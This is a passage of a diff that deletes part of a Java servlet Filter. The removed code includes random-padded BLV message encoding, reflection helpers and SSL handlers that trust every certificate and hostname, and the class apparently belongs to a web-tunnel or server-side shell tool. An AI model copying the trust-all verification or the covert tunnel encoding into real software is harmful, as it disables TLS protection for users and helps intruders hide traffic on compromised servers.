addresses.nextElement(); - if (addr instanceof Inet4Address) - if (addr.getHostAddress().equals(ip)) - return true; - } - } - return false; - } - - - public static Object[] blv_decode(byte[] data, Integer offset) { - Object[] info = new Object[40]; - - int i = 0; - int data_len = data.length; - int b; - byte[] length = new byte[4]; - - ByteArrayInputStream dataInput = new ByteArrayInputStream(data); - - while (i < data_len) { - b = dataInput.read(); - dataInput.read(length, 0, length.length); - int l = bytesToInt(length) - offset; - byte[] v = new byte[l]; - dataInput.read(v, 0, v.length); - i += (5 + l); - // 9 is BLVHEAD_LEN - if (b > 1 && b <= 9) { - info[b] = new String(v); - } else { - info[b] = v; - } - } - - return info; - } - - - public static byte[] blv_encode(Object[] info, Integer offset) { - info[0] = randBytes(5, 20); - info[39] = randBytes(5, 20); - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - for (int b = 0; b < info.length; b++) { - if (info[b] != null) { - Object o = info[b]; - byte[] v; - if (o instanceof String) { - v = ((String) o).getBytes(); - } else { - v = (byte[]) o; - } - buf.write(b); - try { - buf.write(intToBytes(v.length + offset)); - buf.write(v); - } catch (Exception e) { - } - } - } - return buf.toByteArray(); - } - - public static Object invokeMethod(Object obj, String methodName, Object[] args) throws Exception { - Class[] argTypes = new Class[args.length]; - for (int i = 0; i < args.length; i++) { - Class argType = args[i].getClass(); - if (Integer.class.isAssignableFrom(argType)) { - argType = int.class; - } else if (Long.class.isAssignableFrom(argType)) { - argType = long.class; - } else if (Short.class.isAssignableFrom(argType)) { - argType = short.class; - } - argTypes[i] = argType; - } - return invokeMethod2(obj, methodName, argTypes, args); - } - - public static Object invokeMethod2(Object obj, String methodName, Class[] argTypes, Object[] args) throws Exception { - Class clazz = obj.getClass(); - Method method = clazz.getMethod(methodName, argTypes); - if (!method.isAccessible()) { - method.setAccessible(true); - } - return method.invoke(obj, args); - } - - - public static byte[] randBytes(int min, int max) { - Random r = new Random(); - int len = r.nextInt((max - min) + 1) + min; - byte[] randbytes = new byte[len]; - r.nextBytes(randbytes); - return randbytes; - } - - - public static int bytesToInt(byte[] bytes) { - int i; - i = (bytes[3] & 0xff) - | ((bytes[2] & 0xff) << 8) - | ((bytes[1] & 0xff) << 16) - | ((bytes[0] & 0xff) << 24); - return i; - } - - - public static byte[] intToBytes(int value) { - byte[] src = new byte[4]; - src[3] = (byte) (value & 0xFF); - src[2] = (byte) ((value >> 8) & 0xFF); - src[1] = (byte) ((value >> 16) & 0xFF); - src[0] = (byte) ((value >> 24) & 0xFF); - return src; - } - - - public boolean verify(String s, SSLSession sslSession) { - return true; - } - - - public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException { - - } - - - public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException { - - } - - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - - } - - - @Override - public void destroy() { - - } -} \ No newline at end of file